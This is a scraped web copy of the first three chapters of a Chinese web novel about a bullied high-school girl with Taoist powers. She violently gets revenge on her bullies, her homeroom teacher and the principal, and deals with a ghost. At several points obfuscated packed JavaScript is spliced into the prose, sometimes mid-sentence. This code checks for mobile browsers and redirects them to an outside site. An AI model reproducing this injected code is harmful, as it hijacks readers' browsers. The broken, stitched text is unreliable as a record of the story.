《嘴毒天师创飞一切》 1. 第 1 章 清河国际高中,大课间,高二7班。 整个教室仿佛存在一道看不见的分割线,前半部分寂静无声,连呼吸声都几不可闻,后半部分一伙年轻的男男女女聚堆喧哗吵闹,整个教室都是他们的声音在回荡。 其中一个女生穿着自己改短到堪堪遮住屁股的校服裙,坐在课桌上,问向同伴:“小贱人啥时候回来,她不在,感觉学校一点意思都没有。” 红头发大波□□生回忆一番,说:“哟,这么一算,洛宛童离开学校差不多两周了呀,她不能转学吧。” “只要还在本市,总能找到她。”坐最中间的男生忽然插嘴,但他的视线却仍在手中的书上。板寸的头型完美暴露脸型,横眉厉眼薄唇,表情淡淡,一副凉薄无情相。 红发大波□□生开口道:“旭哥说的不错,她跑不掉的。不过清雅,你上次下手咋那么重,要不是你把她推下楼梯,咱们至于这么长时间都没得玩嘛,这事要细水长流。好不容易找到个合心意的玩具,玩坏了多可惜。” 王清雅也就是穿短校服裙的女生翻个白眼,没好气的说:“那是小贱人自己站不稳,不愧是奴才秧子,膝盖软。” 黄毛暂停用粉笔头投射他人的游戏,插嘴:“不过别说,哭起来楚楚可怜,倒挺惹人怜爱。” “怎么,你喜欢啊?”和黄毛比谁投的更准的其中一男生打趣,“真喜欢,就玩玩呗,到时候咱们暂停游戏,指不定她会当你是救世主,救命之恩以身相许啊。” 男生语气在“身”上重读,立马让旁人知道他暗示的意思,霎时众男生哄然大笑,互相之间挤眉弄眼。 黄毛却脸色大变,飞快瞅一眼闫旭,随即狠狠一脚踹过去,骂道:“你tmd说什么屁话!” 王清雅做一个呕吐的表情,嫌恶说道:“你们男的全都是下头管上头,还楚楚可怜,哭的那么熟练,指不定在多少人身下哭过呢,整天发骚,瞅到她那张脸就来气,md,真想给她划花......啊!” 忽然,王清雅被突来一脚踹飞,成一条完美的抛物线,直到撞翻两三张桌子才停下,趴在地上半天爬不起来,只发出断断续续的哀呼声。 众人大惊失色,望向踹人者,而踹人者丁点不慌乱,优雅又自然的收回腿。 踹人者也就是洛宛童手插兜,感叹:“哇哦,好远。” 黄毛最先按捺不住,“洛宛童,你疯了!我看你是不想活了!” 洛宛童微微一笑,一个飞踹,下一个飞出去的人成了黄毛。你说巧不巧,正好落在王清雅身上。 王清雅遭受重创,连哀呼声都叫不出晕死过去,冲击力波及到搀扶的人,一起倒在地上。 “这个也挺远。”洛宛童满意点头。 这下彻底激怒这个团伙,其中几个拿着书上去要捶洛宛童的脑袋。 学生时代,厚厚的教科书,可是最实惠最方便的杀伤性武器。力气大点,对准角度,头都给打破。 结果就是一个接一个的砸向王清雅倒地的方向,好似在复习抛物线公式,洛宛童站的位置是起点,王清雅的位置是落点。 洛宛童觉得自己实在善良,还注意不让人都砸在王清雅身上,要不然啊,明年就得墓园再见“老朋友”了。 当然有时控制失误砸她身上没办法,不是机器,控制不好很正常的啦。 短短三分钟,一群软脚虾倒在一堆,哀呼连天,有的嘴硬还骂骂咧咧。 闫旭手捏着书,冷声道:“回家几天,就以为自己能翻天?” 洛宛童翻个白眼,她的眼睛又大又圆,翻起白眼来,十分明显,“我以为我是你爹!” 闫旭眉一凝,拿着书的手不自觉用力,鼓起青筋。 不听话的宠物,必须要好好教训一顿,才能重新让它乖顺的摇尾乞怜。 闫旭练过几年拳脚,教他的人是真正实战出来的身手。他本以为自己很快能拿下,但在打出的第一拳被接住,他就知道低估了洛宛童的身手。 迅速调整心态,全力以赴,但没用。 洛宛童反击的第一拳锤在闫旭的眼窝上,立即青黑乌青,之后三下五除二给闫旭揍得鼻青脸肿,她专门往闫旭的脸上打,保证伤口至少存在三个月,让闫旭看到这些伤口就回忆起当下受到的打击和屈辱。 最后她一脚踩在闫旭胸口,就这本事还大放厥词呢? 她踢闫旭一下,不重,好似踢路边的野猫野狗,不是因为它们挡住了路,而是因为两者不在同一地位,想踢就能踢。 闫旭咳出一口淤血,满脸青肿找不出十分钟前高高在上的样子。 “好~朋~友~们~”洛宛童双手背在后面,环视一圈,语带笑意的说,“我和你们打招呼呢,不会生气吧。” 躺地上的人觉得这句话有些耳熟,但记性好的人已经回忆起,这句话是他们经常对洛宛童说的,说完后就是对洛宛童的打骂。 他们仍未意识到错误,但他们知道现在的洛宛童报复他们,他们无法反抗,顿时心中生出后悔。 洛宛童说完,一脚横踹,闫旭拖地后退,和王清雅一堆人会和,瞬间昏死过去。 哀呼声停滞一瞬,嘴硬的人都不敢再骂,只是偷摸摸往同伴身后躲,蛆爬似的,生怕洛宛童再给他们补一脚。有一个算一个,根本没有胆子看洛宛童。 正巧这时,上课铃声响起,洛宛童施施然找到自己的座位坐下,静待老师进来。 该死的人可不止是这群霸凌团伙,还有刘清芬! 洛宛童清凛的目光直射走进教室的班主任,精细烫染出的大波浪,随着走动微微摇晃,银灰色的小方框眼镜挂在脸上,妆容精致,四分容貌被打扮出七分美貌。 只看外表,谁能想象出从头到脚散发书香气息的女人口中会吐出那么恶毒、冰冷还饱含歧视的话呢? “他们为什么不欺负别人只欺负你,是不是你哪里做的不对”、“碰你一下就哭成这样,一看就知道在装可怜博同情”…… 你爹的!装你大爷! 刘清芬进来看到的就是一片混乱的场面,整个教室分成两个部分,一部分是班级里普通学生,他们都挤在教室一个角落,一部分是班级的积极分子,他们都躺在教室的一个角落。 致使其中的分界线——施施然坐在座位上的洛宛童格外显眼。 刘清芬拉下脸,手中的书一下摔到讲台桌上,厉喝道:“怎么回事!谁在教室里打架,翻天了你们!一群不省心的,打架怎么没有人去叫我,一个个都是死人吗!脖子上顶的都是装饰啊!” 边说,刘清芬边脚步匆匆的往下面走,看到还站在原地,一动不动和鹌鹑似的站着的人。 “愣着干什么,来扶人啊!”刘清芬指着他们,立马来火气,“没看到同班同学都在地上躺着呢吗?有没有点同学爱,什么都要我教是吗?瞅你们一个个就来气,将来都是一群没出息的玩意!” 这群站着的人属于班里的第三方,夹在霸凌人的小混混团伙和被霸凌的受害者之间,并且他们的定位摇摆不定,随时有可能变成两方中的一员。 现在刘清芬责骂他们,哪怕涉及到人身攻击,他们都不敢反抗,只能迟疑又缓慢的向闫旭一伙人走去。 洛宛童冷笑一声,脚上用力一蹬桌子,桌子往前飞移撞上前桌,发出“咚”的一声。 在此时安静到诡异的教室里,这道声音像是晴天雷鸣,吓得人心惊肉跳。 洛宛童翘起二郎腿,双手交叉,抱在胸前,放松身体靠着椅背,说:“我看谁敢扶?” 第三方人当即站住,瑟缩站在原地,他们也怕洛宛童给他们来一脚。 刘清芬眼睛一眯,她感觉自己的权威被挑衅了,眼神恶狠狠,三两步走向洛宛童,想要教训一下今天格外叛逆的人。 刻板印象害死人,在她心中,洛宛童还是之前那个一骂就哭,打不还手的受气包。 洛宛童连站起身的动作都没,直接一脚踹出,还未靠近的刘清芬刷的飞出去,撞上黑板掉落,倒地咳出一口血。 教室里的其他人嘶一声,不约而同转过身,看天看地,就是不往洛宛童的方向看。 洛宛童踩着长靴,脚步哒哒的走到刘清芬身边蹲下,拿过掉地上的语文书,轻轻拍打几下刘清芬的脸,“哦咦,醒一醒,上课时间不允许打瞌睡嘿!” 书皮的温度唤醒刘清芬被踹出去后迷离的神智,她眼神恶毒的死死盯着洛宛童,要不是此时爬不起来,她能给洛宛童来个360度螺旋巴掌! 贱人!贱人!!贱人!!! 别等她有机会的! 不然绝对打肿你的脸!撕烂你的嘴! 以后高二7班,没有你的立足之地!我要让上学的日子成为你终生的噩梦! 刘清芬双手紧握,长指甲按在肉中,疼痛却丝毫没有唤回她的理智,反而让她越发怒火高涨。 洛宛童很享受刘清芬的眼神,坏人的仇恨不正说明她在行正义之事嘛。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237003|166149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “刘清芬……女士吧,老师这个词有些神圣,你不配。”洛宛童一手支撑着下巴,另一手用成卷的语文书挑起刘清芬的下巴,微微歪头,说,“喜欢这样打招呼的方式吗?我认为你喜欢,毕竟以前你都是这样和我打招呼的。” 刘清芬瞳孔有瞬间的紧缩,骂道:“翻……翻天了!洛宛童……你竟然打老师!你必须叫家长!写检讨!你这样的学生,哪所学校都不会收你!” 洛宛童嗤笑一声,随口叫出给刘清芬起的外号,“刘芬儿,我什么时候被退学不知道,但我还在学校的这段时间里,我会为你的生活增加趣味的!咱们走着瞧~” 说完,洛宛童站起身,从兜里掏出黄符,随意折叠几下,夹在中指和食指之间,做出结印的手势,黄符旋即自燃起来,燃烧很快,不到一秒,黄符被燃烧殆尽。但明明黄符在手上燃烧,却丝毫没有在洛宛童的手上留下痕迹,仍是白白嫩嫩,青葱纤细。 黄符烧完,洛宛童手分开,一如既往,似乎什么都没有发生,唯有躺地上的一群人不约而同的打了个哆嗦。 但无人和洛宛童联系到一起。 此时刘清芬已经有些神志不清,洛宛童踹出的一脚力度很大,撞得她现在五脏六腑都生疼。 洛宛童摆手,“来几个人把他们扔出去,教室是上课学习的地方,怎么能躺着睡觉呢。” 第三方人嘴角抽蓄,一群躺地上爬不起来还咳血的人,你管这叫睡觉?! 但他们不敢不听洛宛童的话,保持沉默,就像以前他们看到霸凌团伙霸凌别人时,也不发声一样。 洛宛童说是扔出去,但他们没有那个胆子,而是三三两两扶着人去医务室。 倒地上的人被扶走,地上留下斑驳血迹,和一些掉落的染血牙齿。 洛宛童露出满意的笑容,完事收工,可以回家了! 于是送完人的高二7班同学回到教室看到的就是乱七八糟的桌椅,却空无一人。 他们松口气,慢慢开始收拾起教室。 虽然互相之间没有交流刚刚发生的事情,但不得不说,他们心中同样痛快! 最后收拾到霸凌小团伙的地盘,这里最为混乱。此时闫旭刚刚捧在手中的书静静躺在地上,混乱中间不知被谁踩了几脚,上面的脚印清晰而脏污,一人走上前捡起来,合起来的瞬间露出书的封面,上面是三个大字——《刑法学》。① 成功出来学校的洛宛童神清气爽。 她是心血来潮跑了这么一趟,没有通知家人也没有让家里司机接送。 这个世界虽然陌生,但多好,她现在有的是时间和体力慢慢去了解。 洛宛童感受着胸腔内心脏有力的跳动,原来健康的身体是这样的感觉。 回家路上看见在街角阴影处站着一个男人,男人面色奇怪,苍白无血,瞳孔黝黑,眼神直勾勾盯着过往的行人。 但行人也非常奇怪,来来去去这么多人,没有一个人注意到街角有这么一个奇怪的人,连往那里瞅一眼的都没有。 直至有一个行人经过那个角落,竟然直接穿过男人,男人的身形虚幻一瞬间,行人感觉身体有一瞬间凉意上头,但随即消失,行人只以为是错觉,摇头离去。 洛宛童一眼看出这个男人不是人,是一个走失的迷茫鬼魂。 洛宛童没有多管闲事,毕竟从男鬼的鬼气来看,这个鬼根本没有伤害别人的能力,阳气盛点反而能灼伤他。 她扭头离去,但街角的男鬼却扭头盯着洛宛童的背影,黑黝黝却没有生气的眼珠目送着洛宛童离开。 洛宛童回到家,父母还没回来,只有保姆阿姨在。 夜幕降临,好不容易愿意出现来点缀晚空的几颗星星也被城市喧嚣的灯光完全遮挡。 吃过晚饭,洛宛童躺在床上玩手机。 忽然拉着窗帘的窗边传来动静。 “咚!” “咚!” “咚!” “咚!” 连着四声,似乎有人在敲窗,但洛宛童住在二楼,他们家一层楼高三米多,她窗外离最近的树也有四五米。 洛宛童放下手机,看向窗户。 她紧紧皱眉,起身去到窗边,“刷”一下拉开窗帘。 最先看见的就是苍白无色的面孔。 看见窗帘被拉开,苍白无色的面孔上露出一个笑容,几颗牙齿和主人的面色一样,灯光映照下,更显惨淡,同时他伸出手,向着洛宛童而来。 2. 第 2 章 洛宛童面不改色,右手捏诀,甩出去非死即灭,来人……不是,来鬼见势不对急忙求饶,“我不是来找茬的,我是来帮忙……不是,求助的,我是良民……不是,良鬼啊!” 洛宛童哼笑,“跟踪,半夜拍别人家窗户,良鬼?” 来鬼吭吭哧哧的解释:“我……那个,不能以人的标准要求鬼不是。” 洛宛童眉一挑,“怎么,以为自己死一死就换物种了?” “那可真是不巧,我这人众生平等,一视同仁。” 说完,手诀要甩出去。 来鬼见势不对,急忙消失。 洛宛童松开掐诀的手,放下窗帘。 真要灭了那个鬼,根本不会和他废话。毕竟她这么善良,怎么可能动则喊打喊杀,随意让鬼魂飞魄散呢。 当晚,洛宛童睡得喷香,但白天被她整治那群人可睡不好。 下午他们被送到医务室,医务室老师看到一个个伤的不轻,大惊失色,但在看清具体是谁后,心里却松口气。 霸凌团伙不仅在学生里声名远扬,老师们同样知晓。但这群人各个都是富家子弟,尤其领头的还有权势。老师们虽然在贵族学校任职,但大多都是普通家庭,得罪不起他们。 对于霸凌团伙的恶行,大多数老师都十分厌恶。可人到中年要养家糊口,他们不敢和霸凌团伙起冲突,只敢私底下偷偷骂他们几句,暗暗希望有天降正义的一天。 医务室老师了解更多,因为霸凌团伙欺负人的范围不止于高二七班,全校,只要是家庭地位条件没他们家好的学生,都可能被他们找上门。 很多学生受了欺负,不敢报复,也不敢对家里人说,只能默默来到医务室,让医务室老师给他们包扎下伤口。 刚开始看到那么多受伤的人,医务室老师以为又是霸凌团伙造的孽,心中暗骂他们全都是监狱预备役。 谁知走近一看,受伤的竟然是霸凌团伙本人,看着一个个要死不活的样子,医务室老师差点没笑出来。 活该! 受了伤一个个依旧不老实,嘴里骂骂咧咧,对扶他们来的同学推推搡搡。 医务室老师慢吞吞打开药柜,在云南白药、碘伏、酒精、芦荟胶等药物中拿出碘伏和酒精。 绝对没有其他原因,单纯因为这两种药物消毒效果最好,可不是因为它们消毒很疼! 再拿上纱布,医务室老师开始动作细致又缓慢地给霸凌团伙清创包扎。 细致到什么程度呢,消毒是用棉签沾着消,一点点,一丢丢,伤口但凡大一些,消完毒都得十几分钟。 疼的霸凌团伙龇牙咧嘴,摔东西骂人,要不是医务室老师躲得快,被踢飞的药箱会撞到她的头,绝对会起一个大包。 最后没办法,霸凌团伙打电话给医院,一群人全被接到医院。 医务室老师眼含歉意的帮来接人的医生们搬动病人,在一波三折,霸凌团伙伤上加伤后,终于全部送走。 医务室老师关上门,脸上露出一个大大的笑容,哼着小歌收拾起被弄得一团糟的医务室。 真是痛快!不知道是哪个人给他们送的正义铁拳。 如此大的动静瞒不过学校其他人,尤其里面还有一个老师,不到下午放学,全校都知道霸凌团伙被人打进医院,连带那个尖酸刻薄、踩高捧低的班主任刘清芬一起被送进去。 很多学生都觉得畅快,心中暗暗佩服那个行侠仗义的人,可惜他们多方打听都没问出来打人的是谁。 高二7班剩下的人一个个和锯嘴葫芦似的,问啥都不说话,要不是知道他们不是哑巴,都以为他们残疾了呢。 但来打听消息的学生好打发,校长、年级主任不好打发,最终是洛宛童打的人这一信息还是被校长知道。 校长如何生气自不必说,但当下之急是他得赶去医院赔罪认错,再晚点,他这个校长可坐不稳了。 而被送往医院霸凌团伙在到达下车后,一个个身上脸上的淤青更加多了,有几个本来没有昏过去的人抬下车时已经神志不清。 凄凄惨惨的模样,让医院的其他病人家属都吓一跳,以为发生了大型械斗。 旁观的病人和家属们不由得嘀咕现在的小孩一个个太无法无天,才几岁啊,敢聚众打架,还打进了医院,家里父母得多操心。 谁知下一秒,毫无预兆下,正在被从救护车上转移下来的病床不知被什么卡住轮子,惯性加持,病床上昏迷的人直接飞了出去。 同一时间后面扶人的医生护士一个踉跄,被扶的人直接脸朝地被摔出去,头磕在病床上,两眼一翻,又晕过去几个。 但一路跟过来的医生护士已经见怪不怪,任谁路上状况不断,都得习惯,不是磕那就是碰这,要不然他们身上多的淤青哪来的。 他们医生护士全都好好,以往从没出现如此情况,但偏偏他们倒霉不断,简直和扫把星附体了一样。 医生护士们手脚麻利重新扶人的扶人,抬人的抬人,最后千难万苦送到病房。 在这个过程中,不免又多几个昏过去的人。 之后的治疗包扎同样情况,每一个派来看护的医生护士全不敢说是医院最好的批次,至少手绝对非常稳,绝对不会出现医护剪刀不小心插病人腿上的情况。 但今天出现了。 再结合路上的情况,医院众人一致认为这群病人邪性,和犯太岁似的。 当然这种论调在院长出现后,医生护士们纷纷闭了嘴,但心里怎么想,只有他们自己知道。 院长最先走进闫旭的病房,看到鼻青脸肿的人,心一跳,急忙出去询问主治医生什么情况。 待确定人没有大事,只是昏迷后心里松口气,只要没有生命危险,找麻烦也找不到他们医院身上。 院长探望完没有离开,而是在病房外静静等待,医生护士看到院长严阵以待的模样,迅速意识到病房里的人身份不简单,一个个溜得比兔子还快,生怕被院长点名留下照顾病人。 以往绝对是一个好差事,难得的表现机会,但这一次可不是。病房里的人那么邪性,他们怕照顾变虐待,那他们就得回家吃自己了。 只有主治医生满脸苦涩的挪步到院长身边跟着等待,如果早知道情况,打死他都不会接手这些病人,不,打死他都不会今天来上班。 有部分病人家属来的非常快,在接到自己孩子的电话后,立即放下手中事赶来医院,看到自己孩子鼻青脸肿的模样,和发病时无法控制情绪的精神病人一样,在病房里疯狂咆哮。 剩下的来人便是秘书助理之类,他们没有什么话语权,对上司的家事更不会多嘴,待看望完病人,确认病人情况后,只会一眼一板的向上司汇报,然后静待指示。 闫旭家来的便是他爸妈的助理,一男一女。 两个助理到达时闫旭还没有清醒,两人汇报完毕,便站在病房外等候。 中间还到了满头大汗的清河国际高中校长。 直至快到晚饭的时间闫旭才清醒过来。 闫旭醒的时候感觉浑身酸痛,没有一处舒坦,病房外的人察觉到动静,两个助理带着打包好的病人餐进来,一同进来的还有院长和校长,主治医生被放生,但他十分高兴自己不用进去。 闫旭看到两人,倒没有失望,在他的意料之中。 两个助理一个摆菜一个放桌子,见闫旭行动不便,还手脚麻利的侍候他吃饭。 闫旭的脸上遍布青肿,一扯嘴角便生疼。男助理喂饭时粥温度其实正好,但不巧碰到了嘴角,闫旭冷冷扫视他一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其中最热闹的的病房便是王清雅的病房。她清醒后,看到父母便开始大声哭诉,声嘶力竭、面目狰狞的要求父母为自己报仇。 在她的嘴里,洛宛童罪大恶极,心狠手辣,他们都没惹她,她一进教室便开始打人。 她现在浑身疼,她感觉自己都毁容了。 王清雅的父母对她疼爱,看到自己闺女成了这个模样气的够呛,当即表示绝对要为闺女讨个公道! 他们的闺女虽然平时行事张扬,性格娇蛮,但多正常啊,他们家有钱,娇宠长大的宝贝闺女娇气一些怎么了,她本性又不坏。 王清雅的父母联结起其他人的父母,磨刀霍霍,决定明天去学校给自家孩子讨公道。 那个打人的洛宛童必须被开除,记大过入档案,在全校面前向他们孩子鞠躬道歉! 对了,还得摸一摸这是谁家的孩子,养不教父之过,洛宛童的父母绝对也不是好人,得给他们一些教训,谁让他们没教好自己孩子。 谁知道半夜他们的孩子尖叫着醒来,一个个满头大汗,眼神惊恐,似乎遇到了极为恐怖的事情,他们叫了半天都没有回神。 在问清是做了噩梦后,陪床的家长们耐心安抚,告诉他们只是一个梦,都是假的。 好不容易重新躺下睡觉,过了一个多小时又一次被吵醒,重复安抚,躺下,惊醒,这三步。一个晚上折腾了五六次,最后再耐心的家长都拿不出好脾气,要不是看孩子真的吓得够呛,他们都想咆哮,让他们老实点。 到第二天,所有人全部都是乌青的眼圈和恍惚的精神,没有一个人睡好。 其中尤以霸凌团伙的状况最差,眼睛都是红血丝,才一晚而已,整个人好似老了十岁。他们现在根本不敢闭眼睛,因为他们怕自己睡着。 但奇怪就奇怪在这里,他们只记得他们做了梦,梦的具体内容一点都想不起来,只知道很可怕,那种心有余悸、绝望无助的感觉哪怕现在睁着眼没睡着,都萦绕在心头。 不过哪怕是这样,霸凌团伙都没忘记让父母去学校为他们讨公道。 3. 第 3 章 洛宛童一觉睡醒下楼却看到了许久未见的父母。 洛鸣意面朝楼梯坐着,最先注意到洛宛童下楼,他小心翼翼的询问:“今天我们去学校一趟好吗?” 洛宛童下来楼梯,斜靠着楼梯扶手,对上洛鸣意的丹凤眼,他平时令下属捉摸不透的眼中此刻却满含忐忑。 洛宛童耸耸肩,“不好,我没想去学校。” 施凤栖走到洛宛童身边,想轻轻梳理她的头发,但洛宛童脖子一歪,躲开了。 施凤栖眼神暗淡,洛鸣意走上前,安抚的拍拍她的肩膀。 女儿的不亲近,是他们两个应得的。 施凤栖如何不知,想到之前女儿生死不知躺在病床的样子,她的心便揪成一团。 洛鸣意心中同样后怕不已,一连昏迷三四天不醒,他生怕再也看不到活蹦乱跳的女儿。 而造成这一切的那些罪人,洛鸣意恨不得拿刀捅死他们。 洛宛童略过两夫妻,走到餐桌前,对着厨房喊道:“阿姨,我饿了。” 厨房的阿姨连忙端出给洛宛童准备的早餐,她已经摸准洛宛童的口味,做的早餐很符合洛宛童的心意。 夫妻两个跟着坐在餐桌旁,陪着洛宛童吃早餐,完全看不出在工作上雷厉风行、对时间严格把控的样子。 吃完饭,确认洛宛童不想去学校,洛鸣意和施凤栖没有强求,结果临出发前洛鸣意却先一步接到学校电话。 通话内容令洛鸣意眼神发沉,心中怒火彭发,洛宛童心神一动,仿佛感应到什么,忽然改口说她同意去学校一趟。 到学校后,三人直奔校长室。 校长办公室位于办公处三楼,整个三楼一半是校长办公室,一半是董事会开会的会议室。 董事会会议一般情况下只有年中年底才会开会,平时没有人,等于说,整个三楼都是校长的地盘。 青河国际高中的教室大概90平方,容纳五十名学生,但校长办公室只容纳校长一个人,却有两百多平方。 办公室分为两个部分,办公区和会客区。 典丽优雅的吊顶,灰白色的地砖,整体色调沉稳中透着精致,中间用一个实木古物架做了分隔,古物架上摆满了展品,在灯光的照耀下,充满贵气。 办公区域实木文件柜,黑色办公桌,地上铺着昂贵舒适的毛地毯。接待区域则是咖色中式大沙发,中间是一个黑色木质矮茶几,除此之外有几个花盆架子,上面摆满绿植,每一盆都生机勃勃,造型别致。 而这些,都是需要花钱的,且还是花大价钱! 一家三口坐在校长办公室的待客沙发上。 校长此刻已不见昨天的狼狈,他眼神厌烦的瞟一眼洛宛童,他自以为无人看见,但在场的另外三人却看的一清二楚,洛鸣意和施凤栖脸色愈发难看起来。 洛宛童背靠沙发,放松身体,似笑非笑的看一下校长,重点在校长的面相上停留了三秒,接着手指轻弹,于是本来额头只是隐隐发黑的校长变成了霉运照顶。 洛鸣意脸色难看,眼神严肃,先发质问校长:“朱校长,我对贵学校的管理十分失望,学校明明是教书育人的地方,当初选择贵校入学,也是相信无论在学习还是生活上都能令我家孩子拥有一个愉快的高中生活,但我没想到,学校竟然对霸凌视若无睹,眼睁睁看着恶性事件发生。” “尤其事发后,我并没有看到贵校对此次事件的处理结果,我是不是可以认为,朱校长你在包庇那些霸凌分子,或者说朱校长您默许了霸凌事件存在!” 朱校长这才想起最开始是洛宛童先受到欺负,有一瞬间心虚,但想到昨天在医院看到的一群人,他立即理直气壮起来,振振有词的说:“洛先生,您说的话有些言过其实,洛同学从楼梯摔下去确实令人痛心,我也理解您作为家长的担忧。但在事件没有调查清楚前,我们不能贸然断言。” “万一是洛同学没站稳,自己摔下去的呢?所以您对我们学校的不满和对我们同学的指责,我无法苟同。” 听着朱校长如此不要脸的话,洛鸣意和施凤栖还没来得及怒骂,洛宛童却先一步站起身,走近朱校长,接着以迅雷不及掩耳盗铃之势一脚踢飞他屁股下的沙发。 于是朱校长偌大的身躯便重重砸在地板上,震得坐在对面的洛鸣意和施凤栖身体不受控制的摇晃了一下。 朱校长都懵了,直到屁股上的痛感传递到大脑才唤回他的神志。 他脸色铁青,怒火喷张,但现在最要紧的是站起来,偏偏他肚大腿短,自己努力半天都没站起来,累的他气喘吁吁。 朱校长恼羞成怒,索性坐在地上,眼神恶狠狠的瞪视洛宛童,用手指着洛宛童骂道:“洛宛童,你目无师长,胆大包天,你竟然敢令我摔倒!你……你……” 洛宛童仿佛什么也没干的清白无辜样,理直气壮的说:“猪扒皮,我知道你这人踩高捧低、趋炎附势、欺软怕硬,但你也不能张口胡来,冤枉好人吧。你说我让你摔倒了,谁看到了?有证据吗?在这件事没有调查清楚之前,我们不能贸然断言啊!” 说完,洛宛童还扭头问洛鸣意和施凤栖,“爸妈,你们看到是我让猪扒皮摔到的吗?” 虽然之前三人没有提前沟通过,洛宛童的举动也吓了俩人一跳,但谁是自己人谁是外人,洛鸣意和施凤栖分的很清。 因此,俩人非常默契的一齐摇头。 洛宛童扭过头,摊开手,对朱校长耸肩,“你看,事实很清楚了,你在冤枉我。” 朱校长脸色涨红,好似热水生烫的猪肉皮。 正待朱校长要用退学警告洛宛童时,校长室的门“咚”的一声被人大力推开,接着进来一群气势汹汹的男男女女。 他们一进来便开始七嘴八舌的说话,叽叽喳喳,吵吵闹闹。 洛宛童从嘈杂无序的话中提炼出来中心,这群人是那帮监狱后备力量的父母,此番前来,是为了讨伐她这个勇于反抗黑恶势力的正义人士的。 洛宛童打量一番,啧啧,果然不愧是照着进监狱模板培养自己孩子的父母,没有一个好东西。 瞅瞅这些人的面相,透露出的秘密可是有些多。 洛鸣意和施凤栖赶紧起身拉过洛宛童,俩人担心这些来者不善的人伤着洛宛童。 待发泄完一通后,这些不管三七二十一进来“先声夺人”的父母们才注意到坐地上的朱校长。 王清雅的母亲赵美玲惊讶的说:“朱校长,你坐地上干啥呢?” 朱校长尴尬的扯了下嘴角,他要是说天气热,他坐地上凉快凉快,会有人相信吗? 王清雅的父亲王德志扯了下没有眼色的妻子,示意她闭嘴,然后自己上前一把握住朱校长的手,让朱校长借力站起来。 边握手两个人还边寒暄,想要自然的略过这一茬。 谁知起来一半,朱校长脚一滑,一屁股又坐下去了,和他握手的王德志自然也被拽着一起倒了下去。 于是俩人在众目睽睽之下,来了个嘴对嘴。 一时间办公室里的人目瞪口呆。 洛宛童感叹:“哇哦,唇友谊。” 赵美玲最先反应过来,她尖叫一声,急忙去拽王德志,“老公!” 结果没跑几步,高跟鞋一崴,她整个人向前摔,正好砸在王德志身上。 本来凭借自己力量都快站起来的王德志被她一推,整个人又趴下去了,于是他和朱校长的嘴唇又来一次亲密接触。 洛宛童点头,“我理解,加深唇友谊嘛。” 这下本来还在忍笑的其他人哪里还忍得住,纷纷龇牙咧嘴的偷笑。 洛鸣意和施凤栖都忍不住,扭过脸遮掩笑意。 王德志恼怒的一把推开砸在自己身上的妻子,干脆利落的起身,瞪视洛宛童,质问道:“你哪家的孩子?一点教养都没有,你在家你父母难道……” “我是你爹!” 王德志怀疑自己耳朵出现问题了,“什么?” “我、是、你、爹。”洛宛童一字一字的慢慢重复。 王德志暴怒,脖颈上青筋鼓起,如同蜿蜒而上的藤蔓,急促的呼吸撑得本就饱满的西装马上裂开,整个人狰狞又恐怖。 这样子的王德志令赵美玲胆战心惊,但方才的一推力道极重,致使她的腰狠狠磕上桌角,痛如刀割,根本无法直起身子,只能缩着身子慢慢挪向一侧。 洛鸣意皱眉挡住探出身的洛宛童,眼睛直视王德志。 王德志脸色扭曲,他深吸一口气,大吼道:“朱校长,这……这是谁家的孩子!没大没小!” 朱校长才不会替洛宛童遮掩,他恨不得王德志痛打洛宛童一顿,幸灾乐祸的说:“这位同学叫洛宛童,就是昨天致使你们孩子进医院的罪魁祸首。” 施凤栖眼神冰冷的瞥一眼朱校长,自然注意到朱校长脸上看好戏的表情。 朱校长的话不亚于开启世界第二次大战的那颗子弹,这群家长们立即炸开了窝。 “好啊,就是你个小王八蛋把我家儿子打成那样的,你们是不是就是她爹妈?怎么教育你家孩子的?管生不管养是吧?” “我家闺女长那么大我从没动过她一根手指头,你给我家闺女打成那样,我告诉你,这件事咱们没完!” “报警!必须报警!下手那么狠,这哪是学生啊,纯纯的小流氓!” “朱校长啊,这样的学生要是还在咱们清河高中,我可不放心让我家孩子继续在这里上学,我家孩子乖乖巧巧,可打不过这种暴力分子。” “对,没错,我家也转学, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237005|166149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪怕转去三流高中,都比在这里受人欺压强!” …… 一个个唾沫横飞,指指点点,要不是洛鸣意和施凤栖在前面挡着,手指都能戳到洛宛童的脸上。 甚至有几个情绪激动的还想上前拽出洛宛童,打她一顿。不过在看到洛鸣意高大的身躯和明显锻炼过的肌肉后,理智被迫回到他们的脑子,让他们前进的步伐停下来。 听到这些指责和攻击的话语,洛鸣意和施凤栖想都没想直接回护洛宛童。 “好啊,报警,正好聊一聊你们的孩子霸凌我家孩子,致使她之前躺病床上一周多的事。”施凤栖掷地有声的说,“伤情鉴定我们都有,绝不会像你们似的张口就来、是非不分的污蔑别人家孩子!” 洛鸣意则是直接掏出手机就要打电话。 朱校长见状急忙要上前阻拦,洛宛童能让他拦截成功吗? 必定不能啊,直接一脚踹出去,朱校长庞大的身躯飞向来找茬的家长群,砸塌一片。 办公室里激烈的责骂声迅速变为一片哀呼。 